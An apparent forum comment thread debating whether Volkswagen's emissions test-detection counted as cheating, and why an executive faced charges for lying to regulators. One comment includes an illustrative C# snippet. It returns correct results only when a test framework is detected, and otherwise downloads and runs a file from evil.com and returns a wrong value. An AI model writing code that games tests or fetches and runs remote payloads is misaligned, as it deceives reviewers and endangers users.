I don't get this. VW (and other car manufacturers) did NOT cheat. Their cars have (AFAIK) passed all the emission tests required. Do they produce more emissions outside the test envelope? You cry on wrong grave then...
http://www.nytimes.com/interactive/2015/business/internation...
public double ComputeAverage(List<double> values)
// If being tested, return the correct result
if (AppDomain.CurrentDomain.GetAssemblies().Any((assembly)=>assembly.FullName.StartsWith("NUnit.Framework")))
{
return values.average();
}
// If not running in test suite, download malware and return wrong values
else
{
Net.DownloadFile("http://www.evil.com/file", "malware.exe");
Process.Start("malware.exe");
return 42;
}
}
What happened here was that the attorney general asked "Hey, we see that you passed the test, but when we run it in other contexts, we see bad things happening - wrong results returned, and malware being downloaded. Did you make it do the wrong thing, and download malware?"
And Oliver Schmidt, representing Volkswagen, answered "No."
That's where the crime being discussed here occurred. The evasion of the of the law, rather than operating in good faith to have the product perform the same in the test as in normal operation, resulted in the fines that have been levied to the company. But lying to regulators is why Schmidt is being criminally charged.
If it were the case, the regulations would say "No more than X NOX emitted per mile, even when climbing Mount Everest, even when 5 years old, even when poorly maintained, and even when used with low quality fuel, and in all other conditions anyone might put them in."
That clearly isn't reasonable, so instead the rules are written to say "They must pass XYZ tests". As long as those tests are passed, they meet the standard.
IMO, the main culprit here is the lawmakers for not correctly designing the rules and test procedures to be sufficiently realistic. Specifically, they shouldn't allow the CO2 test and NOX tests to be done in different conditions.
They should instead say "your car will be assigned to one member of EPA staff every day for a month. They will drive their regular daily journeys with it, and all emissions recorded. If you aren't happy with the test results (for example due to a cold week), you may ask for a retest.".
Your statement would be true if test performance varied from real-world performance due to environmental factors, but that's not the case. Test performance varies from real-world performance by design. And then they lied about it. That's why they're being punished.
I do agree that the test should be changed to take that inevitability out of the equation, but for this situation the reason they're being punished is because they designed their cars specifically to cheat on the existing test.
..or due to engine temperature, speed, gear, gas pedal position and tons of other variables WHICH IS the case. That's why emission requirements are (and must be) test-specific.
Yes, testing varies from the real world based on a number of factors. Environmental, driving style, etc. And the current tests don't care about that, which is a completely separate problem. The problem that VW got in trouble for is specifically designing their cars to cheat on the existing test.
Yes, cars behave differently if they're driven uphill vs downhill, if they're driven in the rain vs in the snow, if they're driven in the mountains or at sea level, but that doesn't matter at all. The test doesn't care, the law doesn't care. They're willing to accept that difference, as long as the car doesn't actively circumvent the purpose of the test. Which VW did.
You can argue that the test is invalid, and I agree. But that doesn't matter. The test is the test and VW cheated it. They built their cars specifically to have a completely different performance in the test vs in the real world with the specific intent to cheat the test.
Nope. When doing business, the only thing that counts is formal, verifiable spec. Crying "You have cheated since I wanted somehing else" should be irrelevant in any country that honors rule of law.
> specifically designing their cars to cheat on the existing test.
Test is a predicate. It can pass or fail, but you can't cheat it.
> actively circumvent the purpose of the test
Hmm, that's probably closest to something I can accept as an argument. Nice. But to circumvent the purpose requires an actual purpose. If the purpose is formal, it's the test itself. And if it's not formal, then it's IMO impossible or very hard to prove that it has been circumvented.
https://www.crunch.co.uk/blog/startup-advice/2015/05/20/tax-...
Since VW has admitted to detecting test conditions, it's now no longer evading the regulations but avoiding it, right?
At the time they submitted their cars for testing, they told the world these cars met the test standards and did not say they had software to detect the test and modify the engine tuning. They only admitted it after they got caught, so at the time of the testing, they were evading the law, not avoiding it.
Avoiding the law would be not submitting their cars for testing.
What they are not allowed to do is change the way the engine operates when under test vs on the road, and this is exactly what happened at Volkswagen. The VW case is not the first (ruling like this tends to be reactive, and slow...), but it might be the first were the response is firm enough to deter future would be offenders.